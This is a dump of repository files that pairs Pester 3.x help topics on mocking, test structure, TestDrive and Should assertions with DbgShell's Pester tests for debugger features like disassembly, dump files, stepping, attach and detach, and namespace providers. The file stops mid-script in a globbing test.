EXAMPLE function Build ($version) { Write-Host "a build was run for version: $version" } function BuildIfChanged { $thisVersion = Get-Version $nextVersion = Get-NextVersion if ($thisVersion -ne $nextVersion) { Build $nextVersion } return $nextVersion } $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".") . "$here\$sut" Describe "BuildIfChanged" { Context "When there are Changes" { Mock Get-Version {return 1.1} Mock Get-NextVersion {return 1.2} Mock Build {} -Verifiable -ParameterFilter {$version -eq 1.2} $result = BuildIfChanged It "Builds the next version" { Assert-VerifiableMocks } It "returns the next version number" { $result | Should Be 1.2 } } Context "When there are no Changes" { Mock Get-Version { return 1.1 } Mock Get-NextVersion { return 1.1 } Mock Build {} $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -Times 0 -ParameterFilter {$version -eq 1.1} } } } MOCKING CALLS TO COMMANDS MADE FROM INSIDE SCRIPT MODULES Let's say you have code like this inside a script module (.psm1 file): function BuildIfChanged { $thisVersion = Get-Version $nextVersion = Get-NextVersion if ($thisVersion -ne $nextVersion) { Build $nextVersion } return $nextVersion } function Build ($version) { Write-Host "a build was run for version: $version" } # Actual definitions of Get-Version and Get-NextVersion are not shown here, # since we'll just be mocking them anyway. However, the commands do need to # exist in order to be mocked, so we'll stick dummy functions here function Get-Version { return 0 } function Get-NextVersion { return 0 } Export-ModuleMember -Function BuildIfChanged Beginning in Pester 3.0, there are two ways to write a unit test for a module that mocks the calls to Get-Version and Get-NextVersion from the module's BuildIfChanged command. The first is to inject mocks into a module: In these examples, the PSM1 file, MyModule.psm1 is installed in $env:PSModulePath on the local computer. Import-Module MyModule Describe "BuildIfChanged" { Context "When there are Changes" { Mock -ModuleName MyModule Get-Version { return 1.1 } Mock -ModuleName MyModule Get-NextVersion { return 1.2 } # To demonstrate that you can mock calls to commands other than functions # defined in the same module, we'll mock a call to Write-Host. Mock -ModuleName MyModule Write-Host {} -Verifiable -ParameterFilter { $Object -eq 'a build was run for version: 1.2' } $result = BuildIfChanged It "Builds the next version and calls Write-Host" { Assert-VerifiableMocks } It "returns the next version number" { $result | Should Be 1.2 } } Context "When there are no Changes" { Mock -ModuleName MyModule Get-Version { return 1.1 } Mock -ModuleName MyModule Get-NextVersion { return 1.1 } Mock -ModuleName MyModule Build { } $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -ModuleName MyModule -Times 0 -ParameterFilter { $version -eq 1.1 } } } } In this sample test script, all calls to Mock and Assert-MockCalled have the -ModuleName MyModule parameter added. This tells Pester to inject the mock into the module scope, which causes any calls to those commands from inside the module to execute the mock instead. When you write your test script this way, you can mock commands that are called by the module's internal functions. However, your test script is still limited to accessing the public, exported members of the module. For example, you could not call the Build function directly. The InModuleScope command causes entire sections of your test script to execute inside the targeted script module. This gives you access to unexported members of the module. For example: Import-Module MyModule Describe "Unit testing the module's internal Build function:" { InModuleScope MyModule { $testVersion = 5.0 Mock Write-Host { } Build $testVersion It 'Outputs the correct message' { Assert-MockCalled Write-Host -ParameterFilter { $Object -eq "a build was run for version: $testVersion" } } } } When using InModuleScope, you no longer need to specify a ModuleName parameter when calling Mock or Assert-MockCalled for commands in the module. You can also directly call the Build function that the module does not export. SEE ALSO Mock Assert-VerifiableMocks Assert-MockCalled InModuleScope Describe Context It The following articles are useful for further understanding of Pester Mocks. Pester Mock and Test Drive, by Jakub Jareš: http://www.powershellmagazine.com/2014/09/30/pester-mock-and-testdrive/ Pester and Mocking, by Mickey Gousset: http://www.systemcentercentral.com/day-53-pester-mocking/ Mocking Missing Cmdlets with Pester, by Iain Brighton: http://virtualengine.co.uk/2015/mocking-missing-cmdlets-with-pester/ Testing Mocked Output with Pester, by Steven Murawski: http://stevenmurawski.com/powershell/2014/02/testing-returned-objects-with-pester/ The following articles are useful for deeper understanding of Mocking in general. Answer to the Question "What is the Purpose of Mock Objects" by Bert F: http://stackoverflow.com/a/3623574/5514075 Mocks Aren't Stubs, by Martin Fowler: http://martinfowler.com/articles/mocksArentStubs.html The Art of Mocking, by Gil Zilberfeld: http://www.methodsandtools.com/archive/archive.php?id=122 ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/en-US/about_Pester.help.txt ================================================ TOPIC about_Pester SHORT DESCRIPTION Pester is a test framework for Windows PowerShell. Use the Pester language and its commands to write and run tests that verify that your scripts and modules work as designed. Pester 3.4.0 supports Windows PowerShell 2.0 and greater. LONG DESCRIPTION Pester introduces a professional test framework for Windows PowerShell commands. You can use Pester to test commands of any supported type, including scripts, cmdlets, functions, CIM commands, workflows, and DSC resources, and test these commands in modules of all types. Each Pester test compares actual to expected output using a collection of comparison operators that mirror the familiar operators in Windows PowerShell. In this way, Pester supports "dynamic testing", that is, it tests the code while it's running, instead of just evaluating code syntax ("static testing"). Once your Pester tests are written are verified to work correctly, you can run them automatically or on demand to verify that the output didn't change and that any code changes did not introduce errors. You can also add your tests to the build scripts of a continuous integration system, and add new tests at any time. WHAT CAN PESTER TEST? Pester is designed to support "test-driven development" (TDD), in which you write and run tests before writing your code, thereby using the test as a code specification. It also supports "behavior-driven development" (BDD), in which the tests verify the behavior and output of the code, and the user experience, independent of its implementation. This lets you change the implementation and use the test to verify that the behavior is unchanged. You can use Pester to write "unit tests" that test individual functions in isolation and "integration tests" that verify that functions can be used together to generate expected results. Pester creates and manages a temporary drive (PSDrive named TestDrive:) that you can use to simulate a file system. For more information, see about_TestDrive. Pester also has "mocking" commands that replace the actual output of commands with output that you specify. Mocking lets you test your commands with varied input without creating and maintaining fake entries in a file or database, or commenting-out and inserting code just for testing. For more information, see about_Mocking. THE PESTER LANGUAGE To make it easier to write tests, Pester uses a language especially designed for testing. This "domain-specific language" (DSL) hides the standard verb-noun syntax of PowerShell commands. To make the language more fluent, the command parameters are positional, so you don't typically use parameter names. For example, this "gets all widgets" test uses the Pester language, including its "It", "Should", and "Be" commands. The test verifies that the actual output of the Get-Widget cmdlet is the same as the expected value in the $allWidgets variables. It "gets all widgets" { Get-Widget | Should Be $allWidgets } To learn the Pester language, start by reading the following About and cmdlet help topics: -- Describe: Creates a required test container. -- Context: Creates an optional scoped test sub-container. -- It: Creates a test. -- about_Should Compares actual to expected values. This topic also lists all valid values of Be, which specify the comparison operator used in the test. HOW TO CREATE TEST FILES To start using Pester, create a script and a test file that tests the script. If you already have a script, you can create a test file for it. Pester test files are Windows PowerShell scripts with a .Tests.ps1 file name extension. The distinctive file name extension enables Pester to identify tests and distinguish them from other scripts. Typically, the test file and file it tests have the same base file name, such as: New-Log.ps1 New-Log.Tests.ps1 For a quick start, use the New-Fixture cmdlet in the Pester module. It creates a script with an empty function and a matching test file with a valid test. For example, this command creates a New-Log.ps1 script and a New-Log.Tests.ps1 test script in the C:\Scripts\LogScripts directory. New-Fixture -Path C:\Scripts\LogScripts -Name New-Log Directory: C:\Scripts\LogScripts Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/18/2016 9:51 AM 30 New-Log.ps1 -a---- 4/18/2016 9:51 AM 262 New-Log.Tests.ps1 The similar names do not automatically associate the test file and script file. The test file must include code to import ("dot-source") the functions, aliases, and variables in the script being tested into the scope of the test script. For example: . .\New-Log.ps1 -or- . C:\Scripts\LogScripts\New-Log.ps1 Many Pester test files, including the files that New-Fixture creates, begin with these statements. $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests\.', '.' . "$here\$sut" This code finds the current path of the test file at run time and saves it in the $here variable. Then, it finds the script based on the path in $here. This code assumes that the script has the same base name and is located in the same directory as the test file. You can use any code in the test file that finds the script, but be sure that the test file has the required *.Tests.ps1 file name extension. HOW TO RUN PESTER TESTS Pester tests are Windows PowerShell scripts (.ps1 files), so you can run them at the command line, or in any editor. Pester also has an Invoke-Pester cmdlet with useful parameters. By default, Invoke-Pester runs all the tests in a directory and all of its subdirectories recursively, but you can run selected tests by specifying a script name or name pattern, a test name, or a test tag. Invoke-Pester parameters also let you save the test output in NUnitXml or LegacyNUnitXml formats that are commonly used by reporting tools. For example, the following command runs all tests in the current directory and all subdirectories recursively. It writes output to the host, but does not generate any objects. Invoke-Pester In contrast, this command runs only the tests in the New-Log.Tests.ps1 file that have the 'EventVwr' tag. It writes the test results as custom objects and saves them in NUnitXml format in the NewLogTests.xml file. It also runs an optional code coverage test to verify that all lines in the script ran at least once during the tests. Invoke-Pester -Script C:\Tests\New-Log.Tests.ps1 ` -Tag EventVwr -OutputFile .\NewLogTests.xml -OutputFormat NUnitXml ` -CodeCoverage To run the New-Log.Tests.ps1 file that New-Fixture created, change to its local directory or a parent directory, and run Invoke-Pester. You can also use the Script parameter of Invoke-Pester to run only the New-Log.Tests.ps1 test. PS C:\Scripts> Invoke-Pester -Script .\New-Log.Tests.ps1 For more information about Invoke-Pester, type: Get-Help Invoke-Pester EXAMPLE For your first Pester test, use the New-Fixture cmdlet to create a script file and matching test file. For example: New-Fixture -Path C:\TestPester -Name Get-Hello Directory: C:\TestPester Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/18/2016 9:51 AM 30 Get-Hello.ps1 -a---- 4/18/2016 9:51 AM 262 Get-Hello.Tests.ps1 The Get-Hello.ps1 script contains an empty Get-Hello.ps1 function. function Get-Hello {} The Get-Hello.Tests.ps1 file contains an empty Pester test that is named for the Get-Hello function. Describe "Get-Hello" { It "does something useful" { $true | Should Be $false } } To run the test, use Invoke-Pester. For example, Invoke-Pester C:\TestPester When you run the test, it fails by design, because Should compares $True to $False using the equal operator ("Be") and $True doesn't equal $False. To start testing the Get-Hello function, change $True to Get-Hello and $False to "Hello". Now, the test compares the output of Get-Hello output to 'hello'. It should still fail, because Get-Hello doesn't return anything. Describe "New-Log" { It "does something useful" { Get-Hello | Should Be 'Hello' } } To make the test pass, change the Get-Hello function so it returns 'hello'. Then, in steps, change $False to more interesting values, then change the Get-Hello function output to make the test pass. You can also experiment with other comparison operators, such as the BeLike (supports wildcards) and BeExactly (case sensitive), and BeLikeExactly operators. For more, information about comparison operators in Pester, see about_Should. PESTER TEST OUTPUT When you run a test, Pester use a variation of Write-Host to write color-coded text to the console. You'll quickly learn to recognize the purple test names and green (passing) and red (failing) test results with the elapsed time of the test. Describing Get-Profile [+] Gets all profiles 156ms [+] Gets only profiles 24ms The output ends with a summary of the test results. Tests completed in 3.47s Passed: 20 Failed: 1 Skipped: 0 Pending: 0 Inconclusive: 0 However, because Pester uses Write-Host, it does not write to the output stream (stdout), so there are no output objects to save in a variable or redirect to a file. To direct Pester to create custom objects, use its PassThru parameter. The result is a single PSCustomObject with a TestResult property that one TestResult custom object for each test in the test file. To save the custom objects to a file, use the OutputFile and OutputFormat parameters of Invoke-Pester, which save the output in NUnitXml and LegacyNUnitXml formats that are easy to parse and commonly used by reporting tools. REAL-WORLD EXAMPLES For help in writing Pester tests, examine the extensive collection of tests that Pester uses to verify its Windows PowerShell code. To find the Pester tests in the Pester module directory, type: dir \*Tests.ps1 -Recurse -or- dir (Get-Module Pester -ListAvailable).ModuleBase -Include *Tests.ps1 -Recurse SEE ALSO Pester wiki: https://github.com/pester/pester/wiki Describe Context It New-Fixture Invoke-Pester about_Mocking about_Should about_TestDrive ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/en-US/about_TestDrive.help.txt ================================================ TOPIC about_TestDrive SHORT DESCRIPTION A PSDrive for file activity limited to the scope of a singe Describe or Context block. LONG DESCRIPTION A test may need to work with file operations and validate certain types of file activities. It is usually desirable not to perform file activity tests that will produce side effects outside of an individual test. Pester creates a PSDrive inside the user's temporary drive that is accessible via a names PSDrive TestDrive:. Pester will remove this drive after the test completes. You may use this drive to isolate the file operations of your test to a temporary store. EXAMPLE function Add-Footer($path, $footer) { Add-Content $path -Value $footer } Describe "Add-Footer" { $testPath="TestDrive:\test.txt" Set-Content $testPath -value "my test text." Add-Footer $testPath "-Footer" $result = Get-Content $testPath It "adds a footer" { (-join $result).Should.Be("my test text.-Footer") } } When this test completes, the contents of the TestDrive PSDrive will be removed. SEE ALSO Context Describe It about_Should ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/en-US/about_should.help.txt ================================================ TOPIC about_Should SHORT DESCRIPTION Provides assertion convenience methods for comparing objects and throwing test failures when test expectations fail. LONG DESCRIPTION Should is an Extension of System.Object and can be used as a native type inside Describe blocks. The various Should member methods can be invoked directly from an object being compared. It is typically used in individual It blocks to verify the results of an expectation. The Should method is typically called from the "actual" object being compared and takes the expected" object as a parameter. Should includes several members that perform various comparisons of objects and will throw a PesterFailure when the objects do not evaluate to be comparable. SHOULD MEMBERS Be Compares one object with another for equality and throws if the two objects are not the same. $actual="Actual value" $actual | Should Be "actual value" # Test will pass $actual | Should Be "not actual value" # Test will fail BeExactly Compares one object with another for equality and throws if the two objects are not the same. This comparison is case sensitive. $actual="Actual value" $actual | Should BeExactly "Actual value" # Test will pass $actual | Should BeExactly "actual value" # Test will fail BeGreaterThan Asserts that a number is greater than an expected value. Uses PowerShell's -gt operator to compare the two values. $Error.Count | Should BeGreaterThan 0 BeIn Asserts that a collection of values contain a specific value. Uses PowerShell's -contains operator to confirm. 1 | Should BeIn @(1,2,3,'a','b','c') BeLessThan Asserts that a number is less than an expected value. Uses PowerShell's -gt operator to compare the two values. $Error.Count | Should BeLessThan 1 BeLike Asserts that the actual value matches a wildcard pattern using PowerShell's -like operator. This comparison is not case-sensitive. $actual="Actual value" $actual | Should BeLike "actual *" # Test will pass $actual | Should BeLike "not actual *" # Test will fail BeLikeExactly Asserts that the actual value matches a wildcard pattern using PowerShell's -like operator. This comparison is case-sensitive. $actual="Actual value" $actual | Should BeLikeExactly "Actual *" # Test will pass $actual | Should BeLikeExactly "actual *" # Test will fail BeOfType Asserts that the actual value should be an object of a specified type (or a subclass of the specified type) using PowerShell's -is operator: $actual = Get-Item $env:SystemRoot $actual | Should BeOfType System.IO.DirectoryInfo # Test will pass; object is a DirectoryInfo $actual | Should BeOfType System.IO.FileSystemInfo # Test will pass; DirectoryInfo base class is FileSystemInfo $actual | Should BeOfType System.IO.FileInfo # Test will fail; FileInfo is not a base class of DirectoryInfo BeNullOrEmpty Checks values for null or empty (strings). The static [String]::IsNullOrEmpty() method is used to do the comparison. $null | Should BeNullOrEmpty # Test will pass $null | Should Not BeNullOrEmpty # Test will fail @() | Should BeNullOrEmpty # Test will pass "" | Should BeNullOrEmpty # Test will pass Exist Does not perform any comparison but checks if the object calling Exist is present in a PS Provider. The object must have valid path syntax. It essentially must pass a Test-Path call. $actual=(Dir . )[0].FullName Remove-Item $actual $actual | Should Exist # Test will fail Contain Checks to see if a file contains the specified text. This search is not case sensitive and uses regular expressions. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I Am' # Test will pass 'TestDrive:\file.txt' | Should Contain '^I.*file$' # Test will pass 'TestDrive:\file.txt' | Should Contain 'I Am Not' # Test will fail Tip: Use [regex]::Escape("pattern") to match the exact text. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I.am.a.file' # Test will pass 'TestDrive:\file.txt' | Should Contain ([regex]::Escape('I.am.a.file')) # Test will fail ContainExactly Checks to see if a file contains the specified text. This search is case sensitive and uses regular expressions to match the text. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I am' # Test will pass 'TestDrive:\file.txt' | Should Contain 'I Am' # Test will fail Match Uses a regular expression to compare two objects. This comparison is not case sensitive. "I am a value" | Should Match "I Am" # Test will pass "I am a value" | Should Match "I am a bad person" # Test will fail Tip: Use [regex]::Escape("pattern") to match the exact text. "Greg" | Should Match ".reg" # Test will pass "Greg" | Should Match ([regex]::Escape(".reg")) # Test will fail MatchExactly Uses a regular expression to compare two objects. This comparison is case sensitive. "I am a value" | Should MatchExactly "I am" # Test will pass "I am a value" | Should MatchExactly "I Am" # Test will fail Throw Checks if an exception was thrown. Enclose input in a script block. { foo } | Should Throw # Test will pass { $foo = 1 } | Should Throw # Test will fail { foo } | Should Not Throw # Test will fail { $foo = 1 } | Should Not Throw # Test will pass Warning: The input object must be a ScriptBlock, otherwise it is processed outside of the assertion. Get-Process -Name "process" -ErrorAction Stop | Should Throw # Should pass, but the exception thrown by Get-Process causes the test to fail. NEGATIVE ASSERTIONS Any of the Should operators described above can be negated by using the word "Not" before the operator. For example: 'one' | Should Not Be 'Two' { Get-Item $env:SystemRoot } | Should Not Throw USING SHOULD IN A TEST function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 3 } } This test will fail since 3 will not be equal to the sum of 2 and 3. SEE ALSO Describe Context It ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/nunit_schema_2.5.xsd ================================================ ================================================ FILE: DbgShell/x64/DbgShellTest/TestManagedConsoleApp.exe.config ================================================ ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/Disasm.Tests.ps1 ================================================ Describe "Disasm" { pushd It "can disassemble" { New-TestApp -TestApp TestManagedConsoleApp -Attach -TargetName testApp -HiddenTargetWindow try { Set-DbgSymbolPath '' 3>&1 | Out-Null # ignore "empty symbol path" warning # Note that we redirect both error and warning streams to the output stream. $disasm = uf ((lm mscorlib_ni).BaseAddress) 2>&1 3>&1 $null -ne $disasm | Should Be $true # We should have gotten: # * MAYBE: a warning about not being able to verify a checksum, # * an error about not having symbols, # * MAYBE: a warning about flow analysis being incomplete, # * followed by disassembly [int] $idx = 0 if( $disasm[0] -is 'System.Management.Automation.WarningRecord' ) { $idx += 1 } ($disasm[$idx++] -is 'System.Management.Automation.ErrorRecord') | Should Be $true if( $disasm[$idx] -is 'System.Management.Automation.WarningRecord' ) { $idx += 1 } ($disasm[$idx++] -is 'MS.Dbg.DbgDisassembly') | Should Be $true # # That error should also be in $error. # Verify-AreEqual 1 ($global:error.Count) # $global:error.Clear() } finally { .kill } } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/Dumps.Tests.ps1 ================================================ Describe "Dumps" { pushd It "can write dumps" { New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow $dumpDir = "$($env:temp)\DbgShellTestDumps" function CleanDumpDir() { if( !(Test-Path $dumpDir) ) { $null = mkdir $dumpDir } else { del "$($dumpDir)\*" } } try { 1 | Should Be $Debugger.Targets.Count $Debugger.IsLive | Should Be $true CleanDumpDir $dumpPath = "$($dumpDir)\test.dmp" Write-DbgDumpFile -DumpFile $dumpPath -Comment "This is the dump comment" -Verbose .kill 0 | Should Be $Debugger.Targets.Count $Debugger.RecentNotifications.Clear() Mount-DbgDumpFile $dumpPath $Debugger.RecentNotifications 1 | Should Be $Debugger.Targets.Count $Debugger.IsLive | Should Be $false .kill } finally { if( $Debugger.Targets.Count -ne 0 ) { .kill } CleanDumpDir } } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/Gu.Tests.ps1 ================================================ # Gu: "go up" Describe "Gu" { pushd It "can gu" { try { # Write-Host 'Testing that "gu" stays on the same thread...' -Back Blue -Fore White New-TestApp -TestApp TestNativeConsoleApp -SkipInitialBreakpoint -Arg 'twoThreadGuTest' -HiddenTargetWindow $threads = @( Find-DbgThread -WithStackText 'TwoThreadGuTest' ) $curThread = Get-DbgUModeThreadInfo -Current 2 | Should Be ($threads.Count) 0 | Should Be ($curThread.DebuggerId) ($threads[1].Stack.Frames.Function.Name.Contains( '_TwoThreadGuTestWorkerInner' )) | Should Be $true '_TwoThreadGuTestWorkerInner' | Should Be ($curThread.Stack.Frames[ 0 ].Function.Name) gu # Or: Resume-Process -ResumeType StepOut $threads = @( Find-DbgThread -WithStackText 'TwoThreadGuTest' ) $curThread = Get-DbgUModeThreadInfo -Current 1 | Should Be ($threads.Count) 0 | Should Be ($curThread.DebuggerId) '_TwoThreadGuTestWorker' | Should Be ($curThread.Stack.Frames[ 0 ].Function.Name) } finally { .kill } } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/Kill.Tests.ps1 ================================================ Describe "Kill" { pushd It "can kill a non-exited process" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can kill a process that has already exited" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow g .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can .abandon, re-attach, and .detach" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow $osPid = $debugger.GetProcessSystemId() # Let's switch to thread 0 and step a bit, just for fun. ~0 s p p p $savedIp = $ip .abandon $process = Get-Process -Id $osPid 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) # TODO: I'm seeing lots of problems getting "access denied" when re-attaching. A bit of # delay seems to help the problem, but not always (does the delay need to be longer?). Start-Sleep -Milliseconds 4000 #Write-Host " Trying to reconnect to pid $($osPid)" -Back Blue -Fore White Connect-Process -Id $osPid -Reattach $savedIp | Should Be $ip 1 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Not Be ((Get-Location).Path) #Write-Host ' Detaching...' -Back Blue -Fore White .detach #Write-Host ' Waiting for exit...' -Back Blue -Fore White $itExited = $process.WaitForExit( 5000 ) $itExited | Should Be $true } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/MultiProcDetachAttach.Tests.ps1 ================================================ Describe "MultiProcDetachAttach" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp1 -Arg 'Sleep 10000000' -HiddenTargetWindow $p1 = $debugger.GetCurrentTarget() It "can't have duplicate target names" { $($p1.TargetFriendlyName) | Should Be 'testApp1' [bool] $itThrew = $false try { New-TestApp -TestApp TestManagedConsoleApp -TargetName testApp1 -Arg 'Sleep 10000000' -HiddenTargetWindow } catch { $itThrew = $true # Expected. } $itThrew | Should Be $true } It "can attach to a second process, and detach/re-attach" { Write-Host "This test disabled until someone has time to get it working" -Fore Yellow if( $false ) { New-TestApp -TestApp TestManagedConsoleApp -Attach -TargetName testApp2 -Arg 'Sleep 10000000' -HiddenTargetWindow $p2 = $debugger.GetCurrentTarget() $($p2.TargetFriendlyName) | Should Be 'testApp2' $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true cd Dbg:\testApp1 $((Get-Content Modules -TotalCount 1).Name) | Should Be 'TestNativeConsoleApp' $(Get-Content DbgEngSystemId) | Should Be ([System.UInt32] 0) $(Get-Content DbgEngProcessId) | Should Be ([System.UInt32] 0) cd Dbg:\testApp2 $((Get-Content Modules -TotalCount 1).Name) | Should Be 'TestManagedConsoleApp' $(Get-Content DbgEngSystemId) | Should Be ([System.UInt32] 0) $(Get-Content DbgEngProcessId) | Should Be ([System.UInt32] 1) $osPid1 = $p1.OsProcessId cd Dbg:\testApp1 .detach $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $false $dirs.Contains( 'testApp2' ) | Should Be $true Connect-Process -Id $osPid1 $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true $osPid2 = $p2.OsProcessId $osPid1 -ne $osPid2 | Should Be $true cd Dbg:\testApp2 .detach $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $false Connect-Process -Id $osPid2 $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true } # (end disabled portion) } # TODO: targeted kill .kill # We might not have gotten the second process off the ground. Let's not muddy up that # error with a botched .kill. if( $debugger.Targets.Count -gt 0 ) { .kill } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/ContentTests.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content1 (Get-Content a) Clear-Content a Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (Get-Content a) [guid] $content2 = [guid]::NewGuid() Set-Content a $content2 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content2 (Get-Content a) $content = @( $content1, $content2 ) Set-Content a $content1 Add-Content a $content2 Verify-AreEqual 0 ($global:error.Count) function VerifyListsEquivalent( $l1, $l2 ) { Verify-AreEqual ($l1.Count) ($l2.Count) for( [int] $i = 0; $i -lt $l1.Count; $i++ ) { Verify-AreEqual ($l1[ $i ]) ($l2[ $i ]) } } $retrievedContent = Get-Content a VerifyListsEquivalent $content (Get-Content a) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 2) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 3) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 1) Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content1 (Get-Content a -TotalCount 1) Verify-AreEqual 0 ($global:error.Count) # Apparently '-Tail' is only supported for the FileSystem provider. Hmph. #Verify-AreEqual $content2 (Get-Content a -Tail 1) #Verify-AreEqual 0 ($global:error.Count) Clear-Content a Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (Get-Content a) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/CopyItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $aDir = mkdir a [void] (New-Item a\i1) [void] (New-Item a\i2) [void] (New-Item a\i3) $stuffInA = dir a Verify-AreEqual 3 $stuffInA.Count Verify-IsNull (dir b*) Copy-Item a b Verify-AreEqual 0 ($global:error.Count) # We didn't say -recurse, so we shouldn't have copied any of the child items. Verify-IsNull (dir b) Copy-Item a\* b Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 3 (dir b).Count rmdir b -Recurse Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Copy-Item a b -Recurse Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 3 (dir b).Count Copy-Item a\i1 b\i4 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 4 (dir b).Count # # Let's test some things that should fail. # Copy-Item a a -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a a\a -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a\i1 a\i1 -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a\i1 b\i1 -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() # TODO: there's a lot more to test Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/DriveTests.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext [int] $initialDriveCount = (Get-PSDrive -PSProvider Debugger).Count $fooDir = mkdir foo cd foo $fooDrive = New-PSDrive zot Debugger .\ Verify-AreEqual 0 ($global:error.Count) if( (Get-PathBugginessStyle) -eq 'CertificateProvider' ) { Verify-AreEqual "\foo" $fooDrive.Root } else { Verify-AreEqual "foo" $fooDrive.Root } Verify-AreEqual ($initialDriveCount + 1) ((Get-PSDrive -PSProvider Debugger).Count) cd zot:\ mkdir bar | Out-Null cd Dbg:\foo $stuff = @( dir ) Verify-AreEqual 1 $stuff.Count Verify-AreEqual "bar" $stuff[ 0 ].Name Remove-PSDrive $fooDrive Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual ($initialDriveCount) ((Get-PSDrive -PSProvider Debugger).Count) $fooDrive = $null Verify-AreEqual 0 ($global:error.Count) if( (Get-PathBugginessStyle) -eq 'RegistryProvider' ) { # This next command should fail (blocked because of Windows 8 Bugs 922001): $fooDrive = New-PSDrive fooDrive Debugger .\ -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() } Verify-IsNull $fooDrive cd \ rmdir .\foo -Recurse Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/Globbing.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $oldPathBugginessStyle = Get-PathBugginessStyle Push-Location Dbg:\ Set-PathBugginessStyle RegistryProvider $fooDir = mkdir foo $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) cd foo mkdir bar | Out-Null $m = 